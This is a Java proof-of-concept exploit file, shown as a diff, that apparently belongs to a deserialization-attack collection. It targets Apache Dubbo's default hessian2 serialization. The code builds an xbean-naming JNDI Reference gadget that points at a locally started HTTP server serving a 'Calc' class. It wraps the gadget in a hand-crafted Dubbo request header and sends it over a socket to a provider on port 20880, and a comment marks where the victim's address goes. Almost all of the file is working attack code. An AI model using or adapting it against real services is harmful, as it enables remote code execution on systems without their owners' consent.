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| 1 | +package com.threedr3am.bug.dubbo; |
| 2 | + |
| 3 | +import com.threedr3am.bug.server.HTTPServer; |
| 4 | +import com.threedr3am.bug.utils.Reflections; |
| 5 | +import com.threedr3am.bug.utils.ToStringUtil; |
| 6 | +import java.io.ByteArrayOutputStream; |
| 7 | +import java.io.OutputStream; |
| 8 | +import java.net.Socket; |
| 9 | +import java.util.Random; |
| 10 | +import javax.naming.Context; |
| 11 | +import javax.naming.Reference; |
| 12 | +import org.apache.dubbo.common.io.Bytes; |
| 13 | +import org.apache.dubbo.common.serialize.Cleanable; |
| 14 | +import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput; |
| 15 | +import org.apache.xbean.naming.context.ContextUtil.ReadOnlyBinding; |
| 16 | +import org.apache.xbean.naming.context.WritableContext; |
| 17 | + |
| 18 | +/** |
| 19 | + * dubbo 默认配置,即hessian2反序列化,都可RCE |
| 20 | + * |
| 21 | + * Spring环境可打,暂时测试Spring-boot打不了 |
| 22 | + * |
| 23 | + * <dependency> |
| 24 | + * <groupId>org.apache.xbean</groupId> |
| 25 | + * <artifactId>xbean-naming</artifactId> |
| 26 | + * <version>4.15</version> |
| 27 | + * </dependency> |
| 28 | + * |
| 29 | + * @author threedr3am |
| 30 | + */ |
| 31 | +public class XBeanPoc { |
| 32 | + |
| 33 | + static { |
| 34 | + HTTPServer.run(null); |
| 35 | + } |
| 36 | + |
| 37 | + public static void main(String[] args) throws Exception { |
| 38 | + Context ctx = Reflections.createWithoutConstructor(WritableContext.class); |
| 39 | + Reference ref = new Reference("Calc", "Calc","http://127.0.0.1:8080/"); |
| 40 | + ReadOnlyBinding binding = new ReadOnlyBinding("foo", ref, ctx); |
| 41 | + |
| 42 | + Object s = ToStringUtil.makeToStringTrigger(binding); |
| 43 | + |
| 44 | + ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); |
| 45 | + |
| 46 | + // header. |
| 47 | + byte[] header = new byte[16]; |
| 48 | + // set magic number. |
| 49 | + Bytes.short2bytes((short) 0xdabb, header); |
| 50 | + // set request and serialization flag. |
| 51 | + header[2] = (byte) ((byte) 0x20 | 2); |
| 52 | + |
| 53 | + // set request id. |
| 54 | + Bytes.long2bytes(new Random().nextInt(100000000), header, 4); |
| 55 | + |
| 56 | + ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream(); |
| 57 | + Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream); |
| 58 | + |
| 59 | + out.writeObject(s); |
| 60 | + |
| 61 | + out.flushBuffer(); |
| 62 | + if (out instanceof Cleanable) { |
| 63 | + ((Cleanable) out).cleanup(); |
| 64 | + } |
| 65 | + |
| 66 | + Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12); |
| 67 | + byteArrayOutputStream.write(header); |
| 68 | + byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray()); |
| 69 | + |
| 70 | + byte[] bytes = byteArrayOutputStream.toByteArray(); |
| 71 | + |
| 72 | + //todo 此处填写被攻击的dubbo服务提供者地址和端口 |
| 73 | + Socket socket = new Socket("127.0.0.1", 20880); |
| 74 | + OutputStream outputStream = socket.getOutputStream(); |
| 75 | + outputStream.write(bytes); |
| 76 | + outputStream.flush(); |
| 77 | + outputStream.close(); |
| 78 | + } |
| 79 | +} |
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